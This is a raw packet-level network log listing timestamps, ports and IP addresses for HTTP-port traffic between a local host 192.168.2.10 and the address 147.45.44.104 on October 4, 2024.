Oct 4, 2024 15:53:45.700167894 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.700189114 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.700200081 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.700251102 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.700309992 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.700321913 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.700335026 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.700356960 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.700381994 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.700392962 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.700453043 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.701015949 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.701060057 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.701071024 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.701077938 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.701102018 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.701122046 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.701148987 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.701159954 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.701173067 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.701193094 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.701216936 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.701231956 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.701299906 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.701313019 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.701323986 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.701339006 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.701364994 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.701965094 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702016115 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702034950 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702047110 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702069998 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702086926 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702121973 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702138901 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702150106 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702162027 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702168941 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702202082 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702219009 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702235937 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702275991 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702277899 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702325106 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702792883 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702837944 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702840090 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702851057 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702876091 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702888012 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702893019 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702934027 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.702953100 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.702967882 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.703011036 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.703073025 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.703084946 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.703095913 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.703114986 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.703152895 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.703615904 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.703663111 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.703670025 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.703676939 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.703710079 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.703715086 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.703737974 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.703761101 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.703820944 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.703862906 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.703866959 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.703907967 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.704245090 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.704257011 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.704267979 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.704297066 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.704303026 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.704327106 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.704364061 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.704467058 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.704505920 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.704516888 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.704516888 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.704547882 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.704569101 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.704575062 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.704613924 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.705326080 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.705387115 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.705389977 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.705399036 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.705425024 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.705468893 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789423943 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789463043 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789474010 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789488077 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789491892 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789505959 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789526939 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789526939 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789546967 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789583921 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789594889 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789607048 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789619923 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789654016 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789707899 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789721012 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789731979 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789752960 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789767981 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789824009 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789834976 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789845943 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789856911 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789870977 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789897919 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.789963961 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789982080 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.789992094 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790002108 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790016890 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790052891 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790107012 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790143967 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790154934 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790157080 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790169001 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790190935 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790200949 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790302038 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790313959 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790324926 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790339947 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790368080 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790374994 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790412903 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790441036 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790453911 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790487051 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790502071 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790560007 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790575981 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790587902 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790597916 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790606976 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790607929 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790626049 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790632963 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790661097 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790721893 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790734053 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790745020 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790777922 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790800095 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790869951 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790880919 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790891886 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790904045 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790920019 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790920973 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790931940 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790944099 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790946007 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790956020 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790967941 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.790967941 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.790986061 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791019917 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791187048 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791224957 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791243076 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791254997 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791265011 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791311979 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791311979 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791377068 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791397095 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791416883 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791433096 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791534901 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791546106 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791555882 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791567087 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791578054 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791589022 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791589975 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791600943 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791616917 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791634083 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791798115 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791812897 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791825056 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791835070 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791852951 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791863918 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791877031 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791881084 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791892052 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791893005 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791906118 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791912079 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791919947 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.791937113 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.791961908 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.792377949 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792388916 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792398930 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792409897 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792423964 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792434931 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792435884 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.792445898 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792455912 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792467117 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.792469025 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792479038 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792488098 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.792490005 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792501926 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792512894 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.792515993 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792526007 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792531967 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.792537928 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792550087 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792571068 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.792598963 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.792876005 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792887926 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792897940 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.792927980 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.792948961 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793001890 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793019056 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793030024 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793040991 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793047905 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793051958 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793065071 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793073893 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793075085 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793087959 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793097973 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793104887 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793109894 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793123960 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793150902 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793639898 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793651104 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793662071 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793672085 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793682098 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793692112 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793694973 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793701887 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793714046 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793724060 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793735027 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793735027 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793745995 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793756008 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793766975 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793773890 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793775082 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793778896 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.793793917 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.793819904 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794177055 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794188023 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794198990 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794209957 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794219971 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794230938 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794233084 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794241905 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794243097 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794253111 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794265032 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794271946 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794275999 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794287920 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794296026 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794298887 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794310093 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794312000 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794325113 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794329882 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794353962 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794378042 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794612885 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794657946 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794662952 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794676065 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.794699907 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.794714928 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.879637957 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879656076 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879667997 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879687071 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879697084 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879707098 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879723072 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879735947 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879745960 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879757881 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879803896 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879815102 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879826069 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879838943 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.879861116 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.879920006 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880136967 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880148888 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880160093 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880188942 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880198956 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880203009 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880211115 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880222082 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880233049 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880240917 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880263090 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880294085 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880431890 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880444050 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880455017 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880465031 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880475998 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880482912 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880489111 CEST	80	49781	147.45.44.104	192.168.2.10
